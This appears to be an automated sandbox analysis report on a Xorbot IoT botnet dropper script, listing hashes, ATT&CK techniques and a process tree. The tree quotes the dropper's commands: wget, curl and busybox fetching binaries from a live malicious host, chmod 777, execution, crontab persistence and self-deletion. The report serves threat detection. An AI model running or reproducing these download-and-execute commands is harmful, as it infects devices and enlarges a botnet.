xorbot | 4d5b35e73e3232fda6c684611138b362138c1e55a6d28efeab85191976eef6e9

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-02-2025 03:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

55f10153bf7837f1b358e78a9f1cbc72
SHA1

53ce0ffad117ff88767edef40ab1942e43a9b356
SHA256

4d5b35e73e3232fda6c684611138b362138c1e55a6d28efeab85191976eef6e9
SHA512

806df1e0034aec45a4b1efee06f39934e46ef14b98712773bd74a4bb981552169b40748cb78efe0d55ba5c7987e750715d964dfeaa5c700fdc0c5629a7538b92
SSDEEP

96:YRJRLu/Yu/Uu/a/p/Z/uUgcAu1K1C1XA2hEaSlPCD9D9DSLDLpip6pLGi5nFnlnT:6ORLJpsHr3lFkz36QkjlFkz39JpsHrS

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1846) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5	747	bins.sh

Renames itself 1 IoCs

pid	Process
748	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.KzWrqj	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/265/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/859/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/868/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/885/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/1017/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/1022/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/660/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/911/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/953/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/972/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/1014/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/7/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/138/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/925/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/927/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/967/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/97/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/820/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/1020/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/11/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/753/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/827/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/901/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/903/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/12/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/634/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/784/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/838/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/848/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/873/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/896/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/1012/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/21/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/75/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/776/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/923/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/954/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/974/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/1007/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/1021/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/768/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/864/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/876/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/980/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/833/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/890/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/943/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/961/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/984/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/1025/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/24/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/591/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/760/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/778/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/813/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/825/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/840/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/1/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/22/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/205/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/800/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/926/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/935/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
File opened for reading	/proc/976/cmdline	8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
641	wget
690	curl
723	busybox
757	wget

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5	wget
File opened for modification	/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5	curl
File opened for modification	/tmp/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:637
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:639
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:641
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:690
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  - System Network Configuration Discovery
  PID:723
- /bin/chmod
  chmod 777 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  ./8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:747
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:749
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:750
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:751
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:752
- /bin/rm
  rm 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5
  2⤵
  PID:754
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:757

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha8

Filesize
7KB

MD5
0608db7ba0d5126473c8b4bbd64aa08b

SHA1
e987fe3c46a23b07584430a292205e673c4610a2

SHA256
484177b6b7c6f3a33e9f9b7a5f158c39d741c74157fe319a617331ac8e3d1101

SHA512
63424865bc8db6565d40166897725471e3385eb9f8a88ca1bd33a7f7711ab1c6b8f3ad25c068f133adc63ebf411d44c447e6dcfef28b456524d6f042e8db7b55

Download Submit
/var/spool/cron/crontabs/tmp.KzWrqj

Filesize
210B

MD5
b36dbcfcbf4b7a6837794f4a711a97d1

SHA1
0a13b324fca824bef31ba78cc987d4b8d81e7200

SHA256
c6dff58428faf31bf8221c019a778098d3d2f36394f01f01fb019d58718f0741

SHA512
c7e779da5c569777bc54e061bf63a96851fdec77c07040611ecf40562e3eda864f3353f0615470571d65ce7cae343bb5bc98002b25db24cae7e9c8d9a1337b4f

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads